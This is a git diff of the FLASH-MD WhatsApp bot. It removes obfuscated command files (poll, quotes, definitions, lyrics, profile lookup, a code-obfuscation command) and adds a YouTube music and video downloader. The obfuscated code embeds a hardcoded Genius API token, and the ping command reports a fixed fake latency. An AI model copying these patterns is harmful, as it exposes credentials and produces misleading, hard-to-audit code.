_0x1cbce0=_0x55878c,{ms:_0x59f9c9,repondre:_0x35f2a3,superUser:_0x1f12ad,arg:_0x294db6}=_0x202f29;if(!_0x1f12ad){_0x35f2a3('you\x20do\x20not\x20have\x20the\x20rights\x20for\x20this\x20command');return;}const _0x33cdf1=require(_0x1cbce0(0x16b));let _0x4b722e=await _0x33cdf1[_0x1cbce0(0x189)]();data=_0x4b722e[0x0];if(!_0x294db6||_0x294db6[_0x1cbce0(0x1e1)]<0x1){let _0x166519;if(_0x4b722e[_0x1cbce0(0x1e1)]===0x0){_0x35f2a3('To\x20activate\x20or\x20modify\x20the\x20mention;\x20follow\x20this\x20syntax:\x20mention\x20link\x20type\x20message\x0a\x20\x20The\x20different\x20types\x20are\x20audio,\x20video,\x20image,\x20and\x20sticker.\x0a\x20\x20Example:\x20mention\x20https://static.animecorner.me/2023/08/op2.jpg\x20image\x20Hi,\x20my\x20name\x20is\x20France\x20King');return;}data[_0x1cbce0(0x1f7)]=='non'?_0x166519='Desactived':_0x166519=_0x1cbce0(0x1ac);mtype=data['type']||_0x1cbce0(0x1cf),url=data[_0x1cbce0(0x16d)]||_0x1cbce0(0x1cf);let _0x3d4210='Status:\x20'+_0x166519+_0x1cbce0(0x1b0)+mtype+_0x1cbce0(0x215)+url+_0x1cbce0(0x16e);_0x35f2a3(_0x3d4210);return;}if(_0x294db6[_0x1cbce0(0x1e1)]>=0x2){if(_0x294db6[0x0][_0x1cbce0(0x1e3)](_0x1cbce0(0x212))&&(_0x294db6[0x1]==_0x1cbce0(0x1bc)||_0x294db6[0x1]==_0x1cbce0(0x1ba)||_0x294db6[0x1]==_0x1cbce0(0x211)||_0x294db6[0x1]==_0x1cbce0(0x20d))){let _0x3046b2=[];for(i=0x2;i<_0x294db6[_0x1cbce0(0x1e1)];i++){_0x3046b2[_0x1cbce0(0x1ea)](_0x294db6[i]);}let _0x38def6=_0x3046b2[_0x1cbce0(0x1f8)]('\x20')||'';await _0x33cdf1[_0x1cbce0(0x1ab)](_0x294db6[0x0],_0x294db6[0x1],_0x38def6),await _0x33cdf1[_0x1cbce0(0x190)](_0x1cbce0(0x20b))[_0x1cbce0(0x1c2)](()=>{const _0x5298b0=_0x1cbce0;_0x35f2a3(_0x5298b0(0x1fe));});}else _0x35f2a3(_0x1cbce0(0x1b5));}else _0x294db6['length']===0x1&&_0x294db6[0x0]==_0x1cbce0(0x20a)?await _0x33cdf1[_0x1cbce0(0x190)]('non')[_0x1cbce0(0x1c2)](()=>{const _0x35226e=_0x1cbce0;_0x35f2a3(_0x35226e(0x1f5));}):_0x35f2a3('Please\x20make\x20sure\x20to\x20follow\x20the\x20instructions');}); diff --git a/commands/Parole.js b/commands/Parole.js deleted file mode 100644 index e3c63de0..00000000 --- a/commands/Parole.js +++ /dev/null @@ -1,20 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const _0x17690e=_0x36e3;(function(_0x5251b2,_0x471bea){const _0x3060bb=_0x36e3,_0x50cccd=_0x5251b2();while(!![]){try{const _0x10f6fa=parseInt(_0x3060bb(0x17f))/0x1+-parseInt(_0x3060bb(0x168))/0x2+-parseInt(_0x3060bb(0x17c))/0x3+-parseInt(_0x3060bb(0x181))/0x4+-parseInt(_0x3060bb(0x17a))/0x5+parseInt(_0x3060bb(0x187))/0x6*(-parseInt(_0x3060bb(0x15d))/0x7)+-parseInt(_0x3060bb(0x16c))/0x8*(-parseInt(_0x3060bb(0x171))/0x9);if(_0x10f6fa===_0x471bea)break;else _0x50cccd['push'](_0x50cccd['shift']());}catch(_0x24544e){_0x50cccd['push'](_0x50cccd['shift']());}}}(_0x298e,0x6b386));function _0x36e3(_0x2a301a,_0x228e7a){const _0x298efa=_0x298e();return _0x36e3=function(_0x36e34f,_0x169bf9){_0x36e34f=_0x36e34f-0x15c;let _0x185589=_0x298efa[_0x36e34f];return _0x185589;},_0x36e3(_0x2a301a,_0x228e7a);}function _0x298e(){const _0x4bc1ac=['quotes','\x0a\x20Example:\x20','.\x20Try\x20searching\x20a\x20different\x20song.','19828269MJemQi','split','I\x20did\x20not\x20find\x20any\x20lyrics\x20for\x20','../framework/france','json','fact','length','\x0a\x0a\x0a\x0a\x0a◇\x20_Powered\x20by:_\x20*France\x20King*\x0a\x0a\x0a╔═════◇\x0a║◇\x20*KEEP\x20USING\x20FLASH-MD*\x0a╚════════════════════>\x20','log','3429495LSoMKB','jKTbbU-6X2B9yWWl-KOm7Mh3_Z6hQsgE4mmvwV3P3Qe7oNa9-hsrLxQV5l5FiAZO','1379781bkdMQp','join','No\x20result\x20for\x20','464103zXKefz','author','1288296rQkdEY','genius-lyrics','example','General','Search','Incorrect\x20format.\x0aExample:\x20poll\x20what\x20is\x201+1/2,\x203,\x204','1236LyRswf','axios','replace','13909RNcWWN','quote','provide\x20a\x20term','_\x0a\x0a\x0a◇\x20*AUTHOR:*\x20','http://api.urbandictionary.com/v0/define?term=','◆━━━━━━✦FACT✦━━━━━━◆\x20\x20\x0a*◇*\x20','\x0a\x0a\x0a\x0a\x0a*◇*\x20Powered\x20by\x20*France\x20King*\x0a\x0a╔═════◇\x0a║◇\x20*KEEP\x20USING\x20FLASH-MD*\x0a╚════════════════════>\x20\x20','Client','search','list','https://nekos.life/api/v2/fact','701696IrHUko','lyrics','get','sendMessage','8RNPRBq','push'];_0x298e=function(){return _0x4bc1ac;};return _0x298e();}const {france}=require(_0x17690e(0x174)),axios=require(_0x17690e(0x188)),Genius=require(_0x17690e(0x182)),Client=new Genius[(_0x17690e(0x164))](_0x17690e(0x17b));france({'nomCom':'poll','reaction':'✨','categorie':_0x17690e(0x184)},async(_0x30c4fc,_0x12f9f4,_0x257571)=>{const _0x587029=_0x17690e,{repondre:_0x394782,arg:_0x3aacc5,ms:_0x50fea5}=_0x257571,_0x24dbc4=_0x3aacc5[_0x587029(0x17d)]('\x20');let [_0x48d7c3,_0x3c6856]=_0x24dbc4[_0x587029(0x172)]('/');if(_0x24dbc4['split']('/')<0x2)return _0x394782(_0x587029(0x186));let _0x28e247=[];for(let _0x44e06d of _0x3c6856[_0x587029(0x172)](',')){_0x28e247[_0x587029(0x16d)](_0x44e06d);}await _0x12f9f4['sendMessage'](_0x30c4fc,{'poll':{'name':_0x48d7c3,'values':_0x28e247}});}),france({'nomCom':'fact','reaction':'✌️','categorie':'User'},async(_0x3c85fa,_0xe0dd81,_0x20339c)=>{const _0x5c5d2a=_0x17690e,{repondre:_0x12e23a,arg:_0xec0687,ms:_0x5d5368}=_0x20339c,_0x5754a8=await fetch(_0x5c5d2a(0x167)),_0x21e127=await _0x5754a8['json']();_0x12e23a(_0x5c5d2a(0x162)+_0x21e127[_0x5c5d2a(0x176)]+_0x5c5d2a(0x163));}),france({'nomCom':_0x17690e(0x16e),'reaction':'🗿','categorie':'User'},async(_0x139e97,_0xb6d444,_0x53dc51)=>{const _0x26f45c=_0x17690e,{repondre:_0x3bef2d,arg:_0x135e01,ms:_0x4a891b}=_0x53dc51,_0x2784cf=await fetch('https://favqs.com/api/qotd'),_0x1f25fb=await _0x2784cf[_0x26f45c(0x175)](),_0x2b238b='\x0a◆━━━━━━✦QUOTE✦━━━━━━◆\x20\x0a◇\x20_'+_0x1f25fb[_0x26f45c(0x15e)]['body']+_0x26f45c(0x160)+_0x1f25fb['quote'][_0x26f45c(0x180)]+_0x26f45c(0x178);_0x3bef2d(_0x2b238b);}),france({'nomCom':'define','reaction':'😁','categorie':_0x17690e(0x185)},async(_0x2d6773,_0x1778cf,_0x5bcf7e)=>{const _0x586295=_0x17690e,{repondre:_0x3c6e3b,arg:_0x3997ea,ms:_0x10a9bb}=_0x5bcf7e;if(!_0x3997ea||_0x3997ea[_0x586295(0x177)]===0x0)return _0x3c6e3b(_0x586295(0x15f));const _0x243eb3=_0x3997ea[_0x586295(0x17d)]('\x20');try{let {data:_0x31830d}=await axios[_0x586295(0x16a)](_0x586295(0x161)+_0x243eb3);var _0x259634='\x0a\x20Word:\x20'+_0x243eb3+'\x0a\x20Definition:\x20'+_0x31830d[_0x586295(0x166)][0x0]['definition'][_0x586295(0x15c)](/\[/g,'')[_0x586295(0x15c)](/\]/g,'')+_0x586295(0x16f)+_0x31830d['list'][0x0][_0x586295(0x183)][_0x586295(0x15c)](/\[/g,'')[_0x586295(0x15c)](/\]/g,'');return _0x3c6e3b(_0x259634);}catch{return _0x3c6e3b(_0x586295(0x17e)+_0x243eb3);}}),france({'nomCom':_0x17690e(0x169),'reaction':'✨','categorie':_0x17690e(0x185)},async(_0x16b585,_0x24921b,_0x5047e1)=>{const _0xad5ea6=_0x17690e,{repondre:_0x323d88,arg:_0x47ee56,ms:_0x26dbd3}=_0x5047e1;try{if(!_0x47ee56||_0x47ee56[_0xad5ea6(0x177)]===0x0)return _0x323d88('please\x20provide\x20me\x20the\x20song\x20name');const _0x2d6993=_0x47ee56['join']('\x20'),_0x19a972=await Client['songs'][_0xad5ea6(0x165)](_0x2d6993),_0x349a1c=_0x19a972[0x0],_0x3e8204=await _0x349a1c[_0xad5ea6(0x169)]();await _0x24921b[_0xad5ea6(0x16b)](_0x16b585,{'text':_0x3e8204},{'quoted':_0x26dbd3});}catch(_0xe736b5){reply(_0xad5ea6(0x173)+text+_0xad5ea6(0x170)),console[_0xad5ea6(0x179)](_0xe736b5);}}); diff --git a/commands/Ping.js b/commands/Ping.js deleted file mode 100644 index 08068fa3..00000000 --- a/commands/Ping.js +++ /dev/null @@ -1,45 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - - -const { france } = require("../framework/france"); -const moment = require("moment-timezone"); -const { default: axios } = require('axios'); -//const conf = require('../set'); - - -france({ nomCom: 'ping', - desc: 'To check ping', - Categorie: 'General', - reaction: '🚨', - fromMe: 'true', - - - }, - async (dest, zk, commandeOptions) => { - const { ms, arg, repondre } = commandeOptions; - const { start} = new Date().getTime() - return repondre('*Pong!!*\n ```' + 2000 + '``` *ms*') - const { end } = new Date().getTime() - await zok.sendMessage('*Pong!*\n ```' + (end - start) + '``` *ms*') - } -) diff --git a/commands/Play.js b/commands/Play.js new file mode 100644 index 00000000..d48e85cb --- /dev/null +++ b/commands/Play.js @@ -0,0 +1,264 @@ +const { franceking } = require('../main'); +const axios = require('axios'); +const yts = require('yt-search'); + +const BASE_URL = 'https://noobs-api.top'; + +module.exports = [ + { + name: 'play', + get flashOnly() { + return franceking(); + }, + aliases: ['music'], + description: 'Search and play MP3 music from YouTube (audio only).', + category: 'Search', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a song name or keyword.' + }, { quoted: msg }); + } + + try { + console.log('[PLAY] Searching YT for:', query); + const search = await yts(query); + const video = search.videos[0]; + + if (!video) { + return king.sendMessage(fromJid, { + text: 'No results found for your query.' + }, { quoted: msg }); + } + + const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); + const fileName = `${safeTitle}.mp3`; + const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; + + const response = await axios.get(apiURL); + const data = response.data; + + if (!data.downloadLink) { + return king.sendMessage(fromJid, { + text: 'Failed to retrieve the MP3 download link.' + }, { quoted: msg }); + } + + const message = { + image: { url: video.thumbnail }, + caption: + `*FLASH-MD SONG PLAYER*\n\n` + + `╭───────────────◆\n` + + `│⿻ *Title:* ${video.title}\n` + + `│⿻ *Duration:* ${video.timestamp}\n` + + `│⿻ *Views:* ${video.views.toLocaleString()}\n` + + `│⿻ *Uploaded:* ${video.ago}\n` + + `│⿻ *Channel:* ${video.author.name}\n` + + `╰────────────────◆\n\n` + + `🔗 ${video.url}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }; + + await king.sendMessage(fromJid, message, { quoted: msg }); + + await king.sendMessage(fromJid, { + audio: { url: data.downloadLink }, + mimetype: 'audio/mpeg', + fileName, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }, + caption: 'FLASH-MD V2' + }, { quoted: msg }); + + } catch (err) { + console.error('[PLAY] Error:', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while processing your request.' + }, { quoted: msg }); + } + } +}, + { + name: 'song', + get flashOnly() { + return franceking(); + }, + aliases: ['audiofile', 'mp3doc'], + description: 'Search and send MP3 music as document from YouTube.', + category: 'Search', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a song name or keyword.' + }, { quoted: msg }); + } + + try { + console.log('[SONG] Searching YT for:', query); + const search = await yts(query); + const video = search.videos[0]; + + if (!video) { + return king.sendMessage(fromJid, { + text: 'No results found for your query.' + }, { quoted: msg }); + } + + const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); + const fileName = `${safeTitle}.mp3`; + const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp3`; + + const response = await axios.get(apiURL); + const data = response.data; + + if (!data.downloadLink) { + return king.sendMessage(fromJid, { + text: 'Failed to retrieve the MP3 download link.' + }, { quoted: msg }); + } + + const message = { + image: { url: video.thumbnail }, + caption: + `*FLASH-MD SONG PLAYER*\n\n` + + `╭───────────────◆\n` + + `│⿻ *Title:* ${video.title}\n` + + `│⿻ *Duration:* ${video.timestamp}\n` + + `│⿻ *Views:* ${video.views.toLocaleString()}\n` + + `│⿻ *Uploaded:* ${video.ago}\n` + + `│⿻ *Channel:* ${video.author.name}\n` + + `╰────────────────◆\n\n` + + `🔗 ${video.url}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }; + + await king.sendMessage(fromJid, message, { quoted: msg }); + + await king.sendMessage(fromJid, { + document: { url: data.downloadLink }, + mimetype: 'audio/mpeg', + fileName, + caption: '*FLASH-MD V2*' + }, { quoted: msg }); + + } catch (err) { + console.error('[SONG] Error:', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while processing your request.' + }, { quoted: msg }); + } + } + }, + + { + name: 'video', + get flashOnly() { + return franceking(); + }, + aliases: ['vid', 'mp4', 'movie'], + description: 'Search and send video from YouTube as MP4.', + category: 'Search', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return king.sendMessage(fromJid, { + text: 'Please provide a video name or keyword.' + }, { quoted: msg }); + } + + try { + console.log('[VIDEO] Searching YT for:', query); + const search = await yts(query); + const video = search.videos[0]; + + if (!video) { + return king.sendMessage(fromJid, { + text: 'No results found for your query.' + }, { quoted: msg }); + } + + const safeTitle = video.title.replace(/[\\/:*?"<>|]/g, ''); + const fileName = `${safeTitle}.mp4`; + const apiURL = `${BASE_URL}/dipto/ytDl3?link=${encodeURIComponent(video.videoId)}&format=mp4`; + + const response = await axios.get(apiURL); + const data = response.data; + + if (!data.downloadLink) { + return king.sendMessage(fromJid, { + text: 'Failed to retrieve the MP4 download link.' + }, { quoted: msg }); + } + + const message = { + image: { url: video.thumbnail }, + caption: + `*FLASH-MD VIDEO PLAYER*\n\n` + + `╭───────────────◆\n` + + `│⿻ *Title:* ${video.title}\n` + + `│⿻ *Duration:* ${video.timestamp}\n` + + `│⿻ *Views:* ${video.views.toLocaleString()}\n` + + `│⿻ *Uploaded:* ${video.ago}\n` + + `│⿻ *Channel:* ${video.author.name}\n` + + `╰────────────────◆\n\n` + + `🔗 ${video.url}`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }; + + await king.sendMessage(fromJid, message, { quoted: msg }); + + await king.sendMessage(fromJid, { + video: { url: data.downloadLink }, + mimetype: 'video/mp4', + fileName, + caption: '*FLASH-MD V2*' +}, { quoted: msg }); + + } catch (err) { + console.error('[VIDEO] Error:', err); + await king.sendMessage(fromJid, { + text: 'An error occurred while processing your request.' + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Profile.js b/commands/Profile.js deleted file mode 100644 index 3d6ac184..00000000 --- a/commands/Profile.js +++ /dev/null @@ -1,25 +0,0 @@ - - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - -const _0x171415=_0xe699;(function(_0x5ef40d,_0x5b2006){const _0x19b304=_0xe699,_0x220cd9=_0x5ef40d();while(!![]){try{const _0x2e2a9e=-parseInt(_0x19b304(0xe7))/0x1*(-parseInt(_0x19b304(0xe2))/0x2)+-parseInt(_0x19b304(0xf4))/0x3+-parseInt(_0x19b304(0xe0))/0x4+parseInt(_0x19b304(0xe4))/0x5*(-parseInt(_0x19b304(0xe3))/0x6)+-parseInt(_0x19b304(0xf6))/0x7*(-parseInt(_0x19b304(0xed))/0x8)+-parseInt(_0x19b304(0xe6))/0x9+-parseInt(_0x19b304(0xf5))/0xa*(-parseInt(_0x19b304(0xe9))/0xb);if(_0x2e2a9e===_0x5b2006)break;else _0x220cd9['push'](_0x220cd9['shift']());}catch(_0x261c61){_0x220cd9['push'](_0x220cd9['shift']());}}}(_0x426c,0xe6053));const JavaScriptObfuscator=require('javascript-obfuscator'),{france}=require(_0x171415(0xef)),conf=require(_0x171415(0xea)),{jidDecode}=require(_0x171415(0xe5));function _0x426c(){const _0x192e34=['User','sendMessage','https://static.animecorner.me/2023/08/op2.jpg','*Name\x20:*\x20','3529806buThpx','37010540EngXOZ','20216jVQHHK','whois','image','status','Here\x20is\x20the\x20Profile\x20picture','*Nom\x20:*\x20','profilePictureUrl','Something\x20is\x20wrong,\x20check\x20if\x20your\x20code\x20is\x20logical\x20and\x20has\x20the\x20correct\x20syntax','General','3196424sYiBEp','obfuscate','1167190thbpqA','12Dckovg','2022985OMizia','@whiskeysockets/baileys','14297400pIrzXS','1aqrqYT','\x0a*Status\x20:*\x0a','11cDiDBu','../set','After\x20the\x20command,\x20provide\x20a\x20valid\x20JavaScript\x20code\x20for\x20encryption','split','2856kwBQAE','fetchStatus','../framework/france'];_0x426c=function(){return _0x192e34;};return _0x426c();}function _0xe699(_0x2381c8,_0x75df18){const _0x426c7a=_0x426c();return _0xe699=function(_0xe69910,_0x22860d){_0xe69910=_0xe69910-0xdd;let _0x538dc9=_0x426c7a[_0xe69910];return _0x538dc9;},_0xe699(_0x2381c8,_0x75df18);}france({'nomCom':'enc','categorie':_0x171415(0xdf)},async(_0x2baa80,_0x12d2ed,_0x40f610)=>{const _0x5791b0=_0x171415,{ms:_0x599e28,arg:_0x9c36c6,repondre:_0x1e727e,auteurMessage:_0x5cc637,nomAuteurMessage:_0x3661db,msgRepondu:_0x423289,auteurMsgRepondu:_0x230a21}=_0x40f610;try{let _0x3c9eb7=_0x9c36c6['join']('\x20');if(!_0x9c36c6[0x0]){_0x1e727e(_0x5791b0(0xeb));return;};const _0x112a10=JavaScriptObfuscator[_0x5791b0(0xe1)](_0x3c9eb7,{'compact':![],'controlFlowFlattening':!![],'controlFlowFlatteningThreshold':0x1,'numbersToExpressions':!![],'simplify':!![],'stringArrayShuffle':!![],'splitStrings':!![],'stringArrayThreshold':0x1});await _0x1e727e(_0x112a10['getObfuscatedCode']());}catch{_0x1e727e(_0x5791b0(0xde));}}),france({'nomCom':_0x171415(0xf7),'categorie':_0x171415(0xf0)},async(_0x3b6a45,_0x2ccf4a,_0x3ca19c)=>{const _0x3c18d8=_0x171415,{ms:_0x1ed492,arg:_0x505ef5,repondre:_0xa2ed9b,auteurMessage:_0x5be85d,nomAuteurMessage:_0x3a9bd2,msgRepondu:_0x1ec102,auteurMsgRepondu:_0x27cca5}=_0x3ca19c;let _0x280e3a=null,_0x4a5a8f=null;if(!_0x1ec102){_0x280e3a=_0x5be85d,_0x4a5a8f=_0x3a9bd2;try{ppUrl=await _0x2ccf4a[_0x3c18d8(0xdd)](_0x280e3a,_0x3c18d8(0xf8));}catch{ppUrl=_0x3c18d8(0xf2);};const _0x43dea5=await _0x2ccf4a[_0x3c18d8(0xee)](_0x280e3a);mess={'image':{'url':ppUrl},'caption':_0x3c18d8(0xfb)+_0x4a5a8f+_0x3c18d8(0xe8)+_0x43dea5[_0x3c18d8(0xf9)]};}else{_0x280e3a=_0x27cca5,_0x4a5a8f='@'+_0x27cca5[_0x3c18d8(0xec)]('@')[0x0];try{ppUrl=await _0x2ccf4a[_0x3c18d8(0xdd)](_0x280e3a,_0x3c18d8(0xf8));}catch{ppUrl=_0x3c18d8(0xf2);};const _0x2ef8d3=await _0x2ccf4a[_0x3c18d8(0xee)](_0x280e3a);mess={'image':{'url':ppUrl},'caption':_0x3c18d8(0xf3)+_0x4a5a8f+_0x3c18d8(0xe8)+_0x2ef8d3[_0x3c18d8(0xf9)],'mentions':[_0x27cca5]};};_0x2ccf4a[_0x3c18d8(0xf1)](_0x3b6a45,mess,{'quoted':_0x1ed492});}),france({'nomCom':'getpp','categorie':_0x171415(0xf0)},async(_0x223729,_0x1b6c08,_0x126512)=>{const _0x35492e=_0x171415,{ms:_0x4bb6c0,arg:_0x3742c0,repondre:_0x2690a3,auteurMessage:_0x5146f6,nomAuteurMessage:_0x48cf60,msgRepondu:_0x496af7,auteurMsgRepondu:_0x184bbe}=_0x126512;let _0x9c97ff=null,_0x1d1f7a=null;if(!_0x496af7){_0x9c97ff=_0x5146f6,_0x1d1f7a=_0x48cf60;try{ppUrl=await _0x1b6c08[_0x35492e(0xdd)](_0x9c97ff,_0x35492e(0xf8));}catch{ppUrl=_0x35492e(0xf2);};const _0x84c0d3=await _0x1b6c08['fetchStatus'](_0x9c97ff);mess={'image':{'url':ppUrl},'caption':_0x35492e(0xfa)};}else{_0x9c97ff=_0x184bbe,_0x1d1f7a='@'+_0x184bbe[_0x35492e(0xec)]('@')[0x0];try{ppUrl=await _0x1b6c08['profilePictureUrl'](_0x9c97ff,'image');}catch{ppUrl=_0x35492e(0xf2);};const _0x5287cd=await _0x1b6c08[_0x35492e(0xee)](_0x9c97ff);mess={'image':{'url':ppUrl},'caption':'Here\x20is\x20the\x20Profile\x20picture','mentions':[_0x184bbe]};};_0x1b6c08[_0x35492e(0xf1)](_0x223729,mess,{'quoted':_0x4bb6c0});}); diff --git a/commands/Rank.js b/commands/Rank.js deleted file mode 100644 index 6503dc11..00000000 --- a/commands/Rank.js +++ /dev/null @@ -1,329 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - -const {france} = require("../framework/france"); -const conf = require("../set"); -const {getMessagesAndXPByJID,getBottom10Users} = require("../bdd/level"); - - -function get_level_exp(xp) { - const levelThresholds = [ - { level: 1, xpThreshold: 500 }, - { level: 2, xpThreshold: 1000 